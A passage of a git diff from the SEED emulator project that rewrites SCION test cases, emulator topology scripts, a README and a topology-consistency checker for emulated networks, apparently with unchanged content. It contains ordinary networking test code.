super().setUpClass() + cls.wait_until_all_containers_up(13) + cls.printLog("Wait 60 seconds for beaconing") + time.sleep(60) + + def setUp(self): + super().setUp() + self.bwtesters = {} + for cntr in self.containers: + if "bwtest" in cntr.name: + asn, _, ip = cntr.name.split('-') + asn = asn.removeprefix('as').removesuffix('h').removesuffix('cs') + self.bwtesters[f"1-{asn}"] = (ip, cntr) + + def bwtester_conn_test(self, container, server: str) -> bool: + ec, output = container.exec_run(f"scion-bwtestclient -s {server}:40002") + self.printLog(f"CMD: scion-bwtestclient -s {server}:40002") + self.printLog(output.decode()) + return ec == 0 + + def test_paths(self): + """Check whether all SCION paths are up. + """ + tests = [ + ("1-150", "1-151", "1-150 1-152? 1-151", 2), + ("1-151", "1-152", "1-151 1-150? 1-152", 2), + ("1-152", "1-150", "1-152 1-151? 1-150", 2), + ("1-153", "1-150", "0*", 1), + ("1-153", "1-151", "0*", 2), + ("1-153", "1-152", "0*", 2), + ] + self.printLog(f"\n-------- Test SCION paths --------") + for src, dst, pred, expected_paths in tests: + _, cntr = self.bwtesters[src] + ok, paths = self.scion_path_test(cntr, dst, pred=pred, ret_paths=True) + self.assertTrue(ok) + self.assertEqual(len(paths), expected_paths) + + def test_bwtester(self): + """Test connectivity between bandwidth test servers and clients. + """ + for server_ia, (server_ip, server) in self.bwtesters.items(): + for _, client in self.bwtesters.values(): + self.printLog(f"\n-------- Test BW {client.name} -> {server.name} --------") + self.assertTrue(self.bwtester_conn_test(client, f"{server_ia},{server_ip}")) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_paths')) + test_suite.addTest(cls('test_bwtester')) + return test_suite + + +if __name__ == "__main__": + test_suite = ScionBwtesterTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + ScionBwtesterTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + ScionBwtesterTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/scion/scion_bwtester/__init__.py b/tests/scion/scion_bwtester/__init__.py index 9cf261176..264d2e70c 100644 --- a/tests/scion/scion_bwtester/__init__.py +++ b/tests/scion/scion_bwtester/__init__.py @@ -1 +1 @@ -from .ScionBwtesterTestCase import ScionBwtesterTestCase +from .ScionBwtesterTestCase import ScionBwtesterTestCase diff --git a/tests/scion/scion_bwtester/emulator-code/test-emulator.py b/tests/scion/scion_bwtester/emulator-code/test-emulator.py index 500b5fc8d..bcda9bb10 100755 --- a/tests/scion/scion_bwtester/emulator-code/test-emulator.py +++ b/tests/scion/scion_bwtester/emulator-code/test-emulator.py @@ -1,89 +1,89 @@ -#!/usr/bin/env python3 - -from seedemu.compiler import Docker -from seedemu.core import Emulator, Binding, Filter -from seedemu.layers import ScionBase, ScionRouting, ScionIsd, Scion -from seedemu.layers.Scion import LinkType as ScLinkType -from seedemu.services import ScionBwtestService - -# Initialize -emu = Emulator() -base = ScionBase() -routing = ScionRouting() -scion_isd = ScionIsd() -scion = Scion() -bwtest = ScionBwtestService() - -# SCION ISDs -base.createIsolationDomain(1) - -# Internet Exchange -base.createInternetExchange(100, create_rs=False) - -# AS-150 -as150 = base.createAutonomousSystem(150) -scion_isd.addIsdAs(1, 150, is_core=True) -as150.createNetwork('net0') -as150.createControlService('cs1').joinNetwork('net0') -as150_router = as150.createRouter('br0') -as150_router.joinNetwork('net0').joinNetwork('ix100') -as150_router.crossConnect(153, 'br0', '10.50.0.2/29') - -# Create a host running the bandwidth test server -as150.createHost('bwtest').joinNetwork('net0', address='10.150.0.30') -bwtest.install('bwtest150').setPort(40002) # Setting the port is optional (40002 is the default) -emu.addBinding(Binding('bwtest150', filter=Filter(nodeName='bwtest', asn=150))) - -# AS-151 -as151 = base.createAutonomousSystem(151) -scion_isd.addIsdAs(1, 151, is_core=True) -as151.createNetwork('net0') -as151.createControlService('cs1').joinNetwork('net0') -as151.createRouter('br0').joinNetwork('net0').joinNetwork('ix100') - -as151.createHost('bwtest').joinNetwork('net0', address='10.151.0.30') -bwtest.install('bwtest151') -emu.addBinding(Binding('bwtest151', filter=Filter(nodeName='bwtest', asn=151))) - -# AS-152 -as152 = base.createAutonomousSystem(152) -scion_isd.addIsdAs(1, 152, is_core=True) -as152.createNetwork('net0') -as152.createControlService('cs1').joinNetwork('net0') -as152.createRouter('br0').joinNetwork('net0').joinNetwork('ix100') - -as152.createHost('bwtest').joinNetwork('net0', address='10.152.0.30') -bwtest.install('bwtest152') -emu.addBinding(Binding('bwtest152', filter=Filter(nodeName='bwtest', asn=152))) - -# AS-153 -as153 = base.createAutonomousSystem(153) -scion_isd.addIsdAs(1, 153, is_core=False) -scion_isd.setCertIssuer((1, 153), issuer=150) -as153.createNetwork('net0') -as153.createControlService('cs1').joinNetwork('net0') -as153_router = as153.createRouter('br0') -as153_router.joinNetwork('net0') -as153_router.crossConnect(150, 'br0', '10.50.0.3/29') - -as153.createHost('bwtest').joinNetwork('net0', address='10.153.0.30') -bwtest.install('bwtest153') -emu.addBinding(Binding('bwtest153', filter=Filter(nodeName='bwtest', asn=153))) - -# Inter-AS routing -scion.addIxLink(100, (1, 150), (1, 151), ScLinkType.Core) -scion.addIxLink(100, (1, 151), (1, 152), ScLinkType.Core) -scion.addIxLink(100, (1, 152), (1, 150), ScLinkType.Core) -scion.addXcLink((1, 150), (1, 153), ScLinkType.Transit) - -# Rendering -emu.addLayer(base) -emu.addLayer(routing) -emu.addLayer(scion_isd) -emu.addLayer(scion) -emu.addLayer(bwtest) - -emu.render() - -# Compilation -emu.compile(Docker(), './output') +#!/usr/bin/env python3 + +from seedemu.compiler import Docker +from seedemu.core import Emulator, Binding, Filter +from seedemu.layers import ScionBase, ScionRouting, ScionIsd, Scion +from seedemu.layers.Scion import LinkType as ScLinkType +from seedemu.services import ScionBwtestService + +# Initialize +emu = Emulator() +base = ScionBase() +routing = ScionRouting() +scion_isd = ScionIsd() +scion = Scion() +bwtest = ScionBwtestService() + +# SCION ISDs +base.createIsolationDomain(1) + +# Internet Exchange +base.createInternetExchange(100, create_rs=False) + +# AS-150 +as150 = base.createAutonomousSystem(150) +scion_isd.addIsdAs(1, 150, is_core=True) +as150.createNetwork('net0') +as150.createControlService('cs1').joinNetwork('net0') +as150_router = as150.createRouter('br0') +as150_router.joinNetwork('net0').joinNetwork('ix100') +as150_router.crossConnect(153, 'br0', '10.50.0.2/29') + +# Create a host running the bandwidth test server +as150.createHost('bwtest').joinNetwork('net0', address='10.150.0.30') +bwtest.install('bwtest150').setPort(40002) # Setting the port is optional (40002 is the default) +emu.addBinding(Binding('bwtest150', filter=Filter(nodeName='bwtest', asn=150))) + +# AS-151 +as151 = base.createAutonomousSystem(151) +scion_isd.addIsdAs(1, 151, is_core=True) +as151.createNetwork('net0') +as151.createControlService('cs1').joinNetwork('net0') +as151.createRouter('br0').joinNetwork('net0').joinNetwork('ix100') + +as151.createHost('bwtest').joinNetwork('net0', address='10.151.0.30') +bwtest.install('bwtest151') +emu.addBinding(Binding('bwtest151', filter=Filter(nodeName='bwtest', asn=151))) + +# AS-152 +as152 = base.createAutonomousSystem(152) +scion_isd.addIsdAs(1, 152, is_core=True) +as152.createNetwork('net0') +as152.createControlService('cs1').joinNetwork('net0') +as152.createRouter('br0').joinNetwork('net0').joinNetwork('ix100') + +as152.createHost('bwtest').joinNetwork('net0', address='10.152.0.30') +bwtest.install('bwtest152') +emu.addBinding(Binding('bwtest152', filter=Filter(nodeName='bwtest', asn=152))) + +# AS-153 +as153 = base.createAutonomousSystem(153) +scion_isd.addIsdAs(1, 153, is_core=False) +scion_isd.setCertIssuer((1, 153), issuer=150) +as153.createNetwork('net0') +as153.createControlService('cs1').joinNetwork('net0') +as153_router = as153.createRouter('br0') +as153_router.joinNetwork('net0') +as153_router.crossConnect(150, 'br0', '10.50.0.3/29') + +as153.createHost('bwtest').joinNetwork('net0', address='10.153.0.30') +bwtest.install('bwtest153') +emu.addBinding(Binding('bwtest153', filter=Filter(nodeName='bwtest', asn=153))) + +# Inter-AS routing +scion.addIxLink(100, (1, 150), (1, 151), ScLinkType.Core) +scion.addIxLink(100, (1, 151), (1, 152), ScLinkType.Core) +scion.addIxLink(100, (1, 152), (1, 150), ScLinkType.Core) +scion.addXcLink((1, 150), (1, 153), ScLinkType.Transit) + +# Rendering +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(scion_isd) +emu.addLayer(scion) +emu.addLayer(bwtest) + +emu.render() + +# Compilation +emu.compile(Docker(), './output') diff --git a/tests/scion/scion_large_asns/ScionLargeASNTestCase.py b/tests/scion/scion_large_asns/ScionLargeASNTestCase.py index cf3e0ce1d..dbac8bc00 100644 --- a/tests/scion/scion_large_asns/ScionLargeASNTestCase.py +++ b/tests/scion/scion_large_asns/ScionLargeASNTestCase.py @@ -1,59 +1,59 @@ -#!/usr/bin/env python3 - -import time -import unittest as ut - -from seedemu.core.ScionAutonomousSystem import IA, ScionASN -from tests.scion import ScionTestCase - - -class ScionLargeASNTestCase(ScionTestCase): - """! - @brief Test the S02-scion-bgp-mixed example. - """ - - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(5) - cls.printLog("Wait 60 seconds for beaconing") - time.sleep(60) - - def setUp(self): - super().setUp() - self.ases = [IA(1, 0x100001101), IA(1, 151)] - self.cses = {} - for cntr in self.containers: - if "cs" in cntr.name: - asn, _, ip = cntr.name.split("-") - asn = ScionASN(int(asn.lstrip("as").rstrip("h"))) - self.cses[cntr.name] = (f"1-{asn}", ip, cntr) - - def test_scion_connections(self): - """Test whether all control services can reach each other using their - SCION addresses. - """ - for name, (_, _, cntr) in self.cses.items(): - self.printLog(f"\n-------- Test SCION reachability from {name} --------") - for ia in self.ases: - self.assertTrue(self.scion_path_test(cntr, f"{ia}")) - for ia, ip, _ in self.cses.values(): - self.assertTrue(self.scion_ping_test(cntr, f"{ia},{ip}")) - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls("test_scion_connections")) - return test_suite - - -if __name__ == "__main__": - test_suite = ScionLargeASNTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - ScionLargeASNTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - ScionLargeASNTestCase.printLog( - "score: %d of %d (%d errors, %d failures)" - % (num - (errs + fails), num, errs, fails) - ) +#!/usr/bin/env python3 + +import time +import unittest as ut + +from seedemu.core.ScionAutonomousSystem import IA, ScionASN +from tests.scion import ScionTestCase + + +class ScionLargeASNTestCase(ScionTestCase): + """! + @brief Test the S02-scion-bgp-mixed example. + """ + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(5) + cls.printLog("Wait 60 seconds for beaconing") + time.sleep(60) + + def setUp(self): + super().setUp() + self.ases = [IA(1, 0x100001101), IA(1, 151)] + self.cses = {} + for cntr in self.containers: + if "cs" in cntr.name: + asn, _, ip = cntr.name.split("-") + asn = ScionASN(int(asn.lstrip("as").rstrip("h"))) + self.cses[cntr.name] = (f"1-{asn}", ip, cntr) + + def test_scion_connections(self): + """Test whether all control services can reach each other using their + SCION addresses. + """ + for name, (_, _, cntr) in self.cses.items(): + self.printLog(f"\n-------- Test SCION reachability from {name} --------") + for ia in self.ases: + self.assertTrue(self.scion_path_test(cntr, f"{ia}")) + for ia, ip, _ in self.cses.values(): + self.assertTrue(self.scion_ping_test(cntr, f"{ia},{ip}")) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls("test_scion_connections")) + return test_suite + + +if __name__ == "__main__": + test_suite = ScionLargeASNTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + ScionLargeASNTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + ScionLargeASNTestCase.printLog( + "score: %d of %d (%d errors, %d failures)" + % (num - (errs + fails), num, errs, fails) + ) diff --git a/tests/scion/scion_large_asns/__init__.py b/tests/scion/scion_large_asns/__init__.py index acf016aa8..f7c3882cc 100644 --- a/tests/scion/scion_large_asns/__init__.py +++ b/tests/scion/scion_large_asns/__init__.py @@ -1 +1 @@ -from .ScionLargeASNTestCase import ScionLargeASNTestCase +from .ScionLargeASNTestCase import ScionLargeASNTestCase diff --git a/tests/scion/scion_large_asns/emulator-code/test-emulator.py b/tests/scion/scion_large_asns/emulator-code/test-emulator.py index ee256347c..a3e042fad 100755 --- a/tests/scion/scion_large_asns/emulator-code/test-emulator.py +++ b/tests/scion/scion_large_asns/emulator-code/test-emulator.py @@ -1,51 +1,51 @@ -#!/usr/bin/env python3 - -from seedemu.compiler import Docker, Graphviz -from seedemu.core import Emulator -from seedemu.layers import ScionBase, ScionRouting, ScionIsd, Scion -from seedemu.layers.Scion import LinkType as ScLinkType - -# Initialize -emu = Emulator() -base = ScionBase() -routing = ScionRouting() -scion_isd = ScionIsd() -scion = Scion() - -# SCION ISDs -base.createIsolationDomain(1) - -# Internet Exchanges -base.createInternetExchange(100, prefix = "192.100.0.0/16") - -# Core AS with large ASN -as150 = base.createAutonomousSystem(0x100001101) -scion_isd.addIsdAs(1, 0x100001101, is_core=True) -as150.createNetwork('net0', "10.150.1.0/24") -as150.createControlService('cs1').joinNetwork('net0') -as150_router = as150.createRouter('br0') -as150_router.joinNetwork('net0').joinNetwork('ix100', address="192.100.0.150") - -# Non-core AS -as153 = base.createAutonomousSystem(151) -scion_isd.addIsdAs(1, 151, is_core=False) -scion_isd.setCertIssuer((1, 151), issuer=0x100001101) -as153.createNetwork('net0') -as153.createControlService('cs1').joinNetwork('net0') -as153_router = as153.createRouter('br0') -as153_router.joinNetwork('net0').joinNetwork('ix100', address="192.100.0.151") - -# SCION links -scion.addIxLink(100, (1, 0x100001101), (1, 151), ScLinkType.Transit) - -# Rendering -emu.addLayer(base) -emu.addLayer(routing) -emu.addLayer(scion_isd) -emu.addLayer(scion) - -emu.render() - -# Compilation -emu.compile(Docker(), './output') -emu.compile(Graphviz(), "./output/graphs") +#!/usr/bin/env python3 + +from seedemu.compiler import Docker, Graphviz +from seedemu.core import Emulator +from seedemu.layers import ScionBase, ScionRouting, ScionIsd, Scion +from seedemu.layers.Scion import LinkType as ScLinkType + +# Initialize +emu = Emulator() +base = ScionBase() +routing = ScionRouting() +scion_isd = ScionIsd() +scion = Scion() + +# SCION ISDs +base.createIsolationDomain(1) + +# Internet Exchanges +base.createInternetExchange(100, prefix = "192.100.0.0/16") + +# Core AS with large ASN +as150 = base.createAutonomousSystem(0x100001101) +scion_isd.addIsdAs(1, 0x100001101, is_core=True) +as150.createNetwork('net0', "10.150.1.0/24") +as150.createControlService('cs1').joinNetwork('net0') +as150_router = as150.createRouter('br0') +as150_router.joinNetwork('net0').joinNetwork('ix100', address="192.100.0.150") + +# Non-core AS +as153 = base.createAutonomousSystem(151) +scion_isd.addIsdAs(1, 151, is_core=False) +scion_isd.setCertIssuer((1, 151), issuer=0x100001101) +as153.createNetwork('net0') +as153.createControlService('cs1').joinNetwork('net0') +as153_router = as153.createRouter('br0') +as153_router.joinNetwork('net0').joinNetwork('ix100', address="192.100.0.151") + +# SCION links +scion.addIxLink(100, (1, 0x100001101), (1, 151), ScLinkType.Transit) + +# Rendering +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(scion_isd) +emu.addLayer(scion) + +emu.render() + +# Compilation +emu.compile(Docker(), './output') +emu.compile(Graphviz(), "./output/graphs") diff --git a/tests/scion/tools/README.md b/tests/scion/tools/README.md index bab57a2ef..62bc93768 100644 --- a/tests/scion/tools/README.md +++ b/tests/scion/tools/README.md @@ -1,18 +1,18 @@ -# SCION Emulator Tools - -- `scion-output-checker`: a tool to validate if the output of the SEED-Docker Compiler constitutes a viable SCION topology that will actually run. - This tool can save you a lot of time building misconfigured docker images that when run will yield a dysfunctional emulation. - It is especially useful for developers who might want to tinker around with the SCION routing layers or DataProviders/Generators and need a test for their changes. - - So far it can detect the following common configuration errors: - - mismatch between topology.json and docker-compose.yml file regarding local border-router IP addresses in local-net as well as IX nets. - - deviation of topology.json for nodes within the same AS - - TODO: - - border router config .toml - - [general].id matches service(node) and directory - - TOML router name is element of topology.json 'border_routers' - - check that each AS has control service and is actually reachable by hosts - - check LinkTypes (when router A has 'PARENT' (and a node of remote AS B has already been encountered so its topology.json is known) retrieve AS B's config and check that link type is indeed the converse i.e. 'CHILD') - +# SCION Emulator Tools + +- `scion-output-checker`: a tool to validate if the output of the SEED-Docker Compiler constitutes a viable SCION topology that will actually run. + This tool can save you a lot of time building misconfigured docker images that when run will yield a dysfunctional emulation. + It is especially useful for developers who might want to tinker around with the SCION routing layers or DataProviders/Generators and need a test for their changes. + + So far it can detect the following common configuration errors: + - mismatch between topology.json and docker-compose.yml file regarding local border-router IP addresses in local-net as well as IX nets. + - deviation of topology.json for nodes within the same AS + + TODO: + - border router config .toml + - [general].id matches service(node) and directory + - TOML router name is element of topology.json 'border_routers' + - check that each AS has control service and is actually reachable by hosts + - check LinkTypes (when router A has 'PARENT' (and a node of remote AS B has already been encountered so its topology.json is known) retrieve AS B's config and check that link type is indeed the converse i.e. 'CHILD') + **Usage:** ``` ./scion-coutput-checker << path-to-SEED-output ( top dir containing docker-compose.yml) >> ``` \ No newline at end of file diff --git a/tests/scion/tools/scion_output_checker.py b/tests/scion/tools/scion_output_checker.py index dbe7ed017..fe63b1c0b 100644 --- a/tests/scion/tools/scion_output_checker.py +++ b/tests/scion/tools/scion_output_checker.py @@ -1,196 +1,196 @@ -import os -import json -import yaml -from typing import Optional -from seedemu.core.enums import NodeRole - -class ScionOutputChecker: - - def __init__(self, out_dir='.'): - """! - initialisation - @param out_dir path to SEED compiler output - which is to be checked (dir that contains docker-compose.yml) - """ - self._dir = out_dir - # the actual truth and reference - compose = parse_docker_compose_yaml(out_dir) - self._services = compose['services'] - self._networks = compose['networks'] - - self._as_topology = {} # dict of dicts - topology.json for each encountered AS - - def check_brdnode(self, node_name, curr_node_json_data ): - - local_ia = curr_node_json_data['isd_as'] - local_asn = local_ia.split('-')[1] - folder = f'brdnode_{local_asn}_{node_name}' - # also the service name of the node in docker-compose.yml - assert folder in self._services, f'SEED output naming scheme violation: {folder}' - - brd = curr_node_json_data['border_routers'][node_name] - internal_addr = brd['internal_addr'] # address on local network 'net0' - interfaces = brd['interfaces'] - - brd_service = self._services[folder] - brd_nets = brd_service['networks'] # networks joined by this service - hits = {} # map interfaces from .json to networks from .yml - for i, (id, intf) in enumerate(interfaces.items()): - underlay = intf['underlay'] - remote_ia = intf['isd_as'] - remote_asn = remote_ia.split('-')[1] - assert remote_asn != local_asn, f'SCION topology must not have self loops: check {local_ia}' - local_key = 'local' if 'local' in underlay else 'public' - local_ip = underlay[local_key].split(':')[0] #.rstrip(':50000') - remote_ip = underlay['remote'].split(':')[0] - found_net = False - # find the net for the given interface - for (name, net) in brd_nets.items(): - ip = net['ipv4_address'] - # TODO: account for more than one local net i.e. 'net1' - if name.endswith('net0'): # local network within AS - - #net_name = name.lstrip('net_').rstrip('_net0') - asn_name = name.split('_')[1] - assert asn_name == local_asn, f'border router must belong to a single AS only: {asn_name} {local_asn} [{name}]' - router_internal_ip = internal_addr.split(':')[0] #.rstrip(':30042') - is_loopback= 'org.seedsecuritylabs.seedemu.meta.loopback_addr' in brd_service['labels'] - if ip==router_internal_ip or is_loopback: - hits[id] = name - # in this case there is no remote BR to check - found_net = True - break - elif name.startswith('net_ix'): # internet exchange network - - net_name = name.split('_')[-1].lstrip('ix') - if ip == local_ip: - hits[id] = name - found_net = True - # check that remote-border-router has 'name' under 'networks' - # and within this network in fact has assigned the IP 'remote_ip' - if not self._search_br(name, remote_ip): - raise AssertionError(f'remote BR of BR {folder} on IF {id} ({name}) doesn\'t exitst in docker-compose.yml (probably wrong remote address in topology.json)') - - - break - elif name.startswith('net_xc'): # cross connect network - if ip == local_ip: - hits[id] = name - found_net = True - # assert that there exists a node who has the 'remote' address on one of its networks, - # and the name of this network is 'name' (as expected) - - if not self._search_br(name, remote_ip): - raise AssertionError( f'remote BR of BR {folder} on IF {id} ({name}) doesn\'t exitst in docker-compose.yml (probably wrong remote address in topology.json)') - - - break - else: # must be service network 000_svc - # but service network doesn't show up in topology.json - pass - assert found_net, f'no network in docker-compose.yml for BR {node_name} IF {id} in topology.json file' - - assert len(hits) == len(interfaces), 'mismatch between topology.json and docker-compose.yml' - - def _search_br(self, name: str, remote_ip ) -> Optional[str]: - """ - @brief looks up a router in the docker-compose.yml file, - with the given IP on the given network - @param name name of the network - @param remote_ip IP address on the given network of the router in question - """ - # nodes that are also on the the same network - remote_br_candidates = [ (sname, svc) for sname, svc in self._services.items() if 'networks' in svc and name in svc['networks'] ] - - remote_br = [ sname for (sname, svc) in remote_br_candidates if svc['networks'][name]['ipv4_address'] == remote_ip] - assert len(remote_br) <= 1, 'there canno\'t be more than one router on the same net ({name}) with the same address {remote_ip}' - return remote_br[0] if len(remote_br) > 0 else None - - def do_checks(self): - """! - Function to recursively find all 'topology.json' files, - parse and validate their content against docker-compose.yml - """ - - # Iterate over the directory structure recursively - for root, dirs, files in os.walk(self._dir): - - for file in files: - - if file == '552f01f4bf3d252f6a6c2af55d8d5bf2': # 'topology.json' - - full_path = os.path.join(root, file) - relative_path = os.path.relpath( full_path, start=self._dir) - folder = os.path.dirname(relative_path) - - node_role = None - node_name ='' # i.e. 'routerXYZ' - if '_' in folder: - match prefix:=folder.split('_')[0]: - case 'brdnode': node_role = NodeRole.BorderRouter - case 'rnode': node_role = NodeRole.Router - case 'hnode': node_role = NodeRole.Host - case 'rsnode': node_role = NodeRole.RouteServer - case 'csnode': node_role = NodeRole.Host - case _: - print( f'directory with unknown node role: {prefix}') - continue # better raise exception here ?! - else: - # this directory can't be part of generated SEED output - # but still contains a 'topology.json' file by coincidence - continue - node_name = folder.split('_')[-1] - - try: - with open(full_path, 'r') as f: - curr_node_json_data = json.load(f) - - local_ia=curr_node_json_data['isd_as'] - local_asn=local_ia.split('-')[1] - - assert (dir_asn:=folder.split('_')[1])==local_asn, f'misplaced topology.json file - expected: {dir_asn} actual: {local_asn}' - - local_topo, seen = (self._as_topology[local_ia], True ) if local_ia in self._as_topology else ({ "border_routers": {}, "isd_as": local_ia }, False) - - json_routers = curr_node_json_data['border_routers'] - - if not seen: # then update the list of this AS's BRs, so we can check that all nodes of the AS have the same list - local_topo['border_routers'] = json_routers - self._as_topology[local_ia] = local_topo - else: - # assert that all nodes of an AS have the same 'topology.json' file - - # for now check that deepdiff of 'routers' and local_topo['border_routers'] is zero - assert local_topo['border_routers'] == json_routers , f'deviating topology.json files detected: {local_ia}' - - if node_role == NodeRole.BorderRouter: - self.check_brdnode(node_name, curr_node_json_data ) - - except Exception as e: - print(f"Error reading topology.json {full_path}: {e}") - print('No errors detected') - - -def parse_docker_compose_yaml(dir='.',file_path='docker-compose.yml'): - full_path = os.path.join(dir, file_path) - if os.path.exists(full_path): - - try: - with open(full_path, 'r') as file: - yaml_content = yaml.safe_load(file) - return yaml_content - - except yaml.YAMLError as e: - print(f"Error decoding YAML from {file_path}: {e}") - except Exception as e: - print(f"Error reading docker-compose.yml {file_path}: {e}") - else: - raise FileNotFoundError(f"{full_path} does not exist.") - - - -if __name__ == "__main__": - - sn = ScionOutputChecker('/home/lucas/repos/seed-emulator/output') - +import os +import json +import yaml +from typing import Optional +from seedemu.core.enums import NodeRole + +class ScionOutputChecker: + + def __init__(self, out_dir='.'): + """! + initialisation + @param out_dir path to SEED compiler output + which is to be checked (dir that contains docker-compose.yml) + """ + self._dir = out_dir + # the actual truth and reference + compose = parse_docker_compose_yaml(out_dir) + self._services = compose['services'] + self._networks = compose['networks'] + + self._as_topology = {} # dict of dicts - topology.json for each encountered AS + + def check_brdnode(self, node_name, curr_node_json_data ): + + local_ia = curr_node_json_data['isd_as'] + local_asn = local_ia.split('-')[1] + folder = f'brdnode_{local_asn}_{node_name}' + # also the service name of the node in docker-compose.yml + assert folder in self._services, f'SEED output naming scheme violation: {folder}' + + brd = curr_node_json_data['border_routers'][node_name] + internal_addr = brd['internal_addr'] # address on local network 'net0' + interfaces = brd['interfaces'] + + brd_service = self._services[folder] + brd_nets = brd_service['networks'] # networks joined by this service + hits = {} # map interfaces from .json to networks from .yml + for i, (id, intf) in enumerate(interfaces.items()): + underlay = intf['underlay'] + remote_ia = intf['isd_as'] + remote_asn = remote_ia.split('-')[1] + assert remote_asn != local_asn, f'SCION topology must not have self loops: check {local_ia}' + local_key = 'local' if 'local' in underlay else 'public' + local_ip = underlay[local_key].split(':')[0] #.rstrip(':50000') + remote_ip = underlay['remote'].split(':')[0] + found_net = False + # find the net for the given interface + for (name, net) in brd_nets.items(): + ip = net['ipv4_address'] + # TODO: account for more than one local net i.e. 'net1' + if name.endswith('net0'): # local network within AS + + #net_name = name.lstrip('net_').rstrip('_net0') + asn_name = name.split('_')[1] + assert asn_name == local_asn, f'border router must belong to a single AS only: {asn_name} {local_asn} [{name}]' + router_internal_ip = internal_addr.split(':')[0] #.rstrip(':30042') + is_loopback= 'org.seedsecuritylabs.seedemu.meta.loopback_addr' in brd_service['labels'] + if ip==router_internal_ip or is_loopback: + hits[id] = name + # in this case there is no remote BR to check + found_net = True + break + elif name.startswith('net_ix'): # internet exchange network + + net_name = name.split('_')[-1].lstrip('ix') + if ip == local_ip: + hits[id] = name + found_net = True + # check that remote-border-router has 'name' under 'networks' + # and within this network in fact has assigned the IP 'remote_ip' + if not self._search_br(name, remote_ip): + raise AssertionError(f'remote BR of BR {folder} on IF {id} ({name}) doesn\'t exitst in docker-compose.yml (probably wrong remote address in topology.json)') + + + break + elif name.startswith('net_xc'): # cross connect network + if ip == local_ip: + hits[id] = name + found_net = True + # assert that there exists a node who has the 'remote' address on one of its networks, + # and the name of this network is 'name' (as expected) + + if not self._search_br(name, remote_ip): + raise AssertionError( f'remote BR of BR {folder} on IF {id} ({name}) doesn\'t exitst in docker-compose.yml (probably wrong remote address in topology.json)') + + + break + else: # must be service network 000_svc + # but service network doesn't show up in topology.json + pass + assert found_net, f'no network in docker-compose.yml for BR {node_name} IF {id} in topology.json file' + + assert len(hits) == len(interfaces), 'mismatch between topology.json and docker-compose.yml' + + def _search_br(self, name: str, remote_ip ) -> Optional[str]: + """ + @brief looks up a router in the docker-compose.yml file, + with the given IP on the given network + @param name name of the network + @param remote_ip IP address on the given network of the router in question + """ + # nodes that are also on the same network + remote_br_candidates = [ (sname, svc) for sname, svc in self._services.items() if 'networks' in svc and name in svc['networks'] ] + + remote_br = [ sname for (sname, svc) in remote_br_candidates if svc['networks'][name]['ipv4_address'] == remote_ip] + assert len(remote_br) <= 1, 'there canno\'t be more than one router on the same net ({name}) with the same address {remote_ip}' + return remote_br[0] if len(remote_br) > 0 else None + + def do_checks(self): + """! + Function to recursively find all 'topology.json' files, + parse and validate their content against docker-compose.yml + """ + + # Iterate over the directory structure recursively + for root, dirs, files in os.walk(self._dir): + + for file in files: + + if file == '552f01f4bf3d252f6a6c2af55d8d5bf2': # 'topology.json' + + full_path = os.path.join(root, file) + relative_path = os.path.relpath( full_path, start=self._dir) + folder = os.path.dirname(relative_path) + + node_role = None + node_name ='' # i.e. 'routerXYZ' + if '_' in folder: + match prefix:=folder.split('_')[0]: + case 'brdnode': node_role = NodeRole.BorderRouter + case 'rnode': node_role = NodeRole.Router + case 'hnode': node_role = NodeRole.Host + case 'rsnode': node_role = NodeRole.RouteServer + case 'csnode': node_role = NodeRole.Host + case _: + print( f'directory with unknown node role: {prefix}') + continue # better raise exception here ?! + else: + # this directory can't be part of generated SEED output + # but still contains a 'topology.json' file by coincidence + continue + node_name = folder.split('_')[-1] + + try: + with open(full_path, 'r') as f: + curr_node_json_data = json.load(f) + + local_ia=curr_node_json_data['isd_as'] + local_asn=local_ia.split('-')[1] + + assert (dir_asn:=folder.split('_')[1])==local_asn, f'misplaced topology.json file - expected: {dir_asn} actual: {local_asn}' + + local_topo, seen = (self._as_topology[local_ia], True ) if local_ia in self._as_topology else ({ "border_routers": {}, "isd_as": local_ia }, False) + + json_routers = curr_node_json_data['border_routers'] + + if not seen: # then update the list of this AS's BRs, so we can check that all nodes of the AS have the same list + local_topo['border_routers'] = json_routers + self._as_topology[local_ia] = local_topo + else: + # assert that all nodes of an AS have the same 'topology.json' file + + # for now check that deepdiff of 'routers' and local_topo['border_routers'] is zero + assert local_topo['border_routers'] == json_routers , f'deviating topology.json files detected: {local_ia}' + + if node_role == NodeRole.BorderRouter: + self.check_brdnode(node_name, curr_node_json_data ) + + except Exception as e: + print(f"Error reading topology.json {full_path}: {e}") + print('No errors detected') + + +def parse_docker_compose_yaml(dir='.',file_path='docker-compose.yml'): + full_path = os.path.join(dir, file_path) + if os.path.exists(full_path): + + try: + with open(full_path, 'r') as file: + yaml_content = yaml.safe_load(file) + return yaml_content + + except yaml.YAMLError as e: + print(f"Error decoding YAML from {file_path}: {e}") + except Exception as e: + print(f"Error reading docker-compose.yml {file_path}: {e}") + else: + raise FileNotFoundError(f"{full_path} does not exist.") + + + +if __name__ == "__main__": + + sn = ScionOutputChecker('/home/lucas/repos/seed-emulator/output') + sn.do_checks() \ No newline at end of file diff --git a/tests/traffic_generator/TrafficGeneratorTestCase.py b/tests/traffic_generator/TrafficGeneratorTestCase.py index 9b2f2070d..b72349b7a 100755 --- a/tests/traffic_generator/TrafficGeneratorTestCase.py +++ b/tests/traffic_generator/TrafficGeneratorTestCase.py @@ -1,175 +1,175 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from typing import Tuple -import unittest as ut -from tests import SeedEmuTestCase - - -class 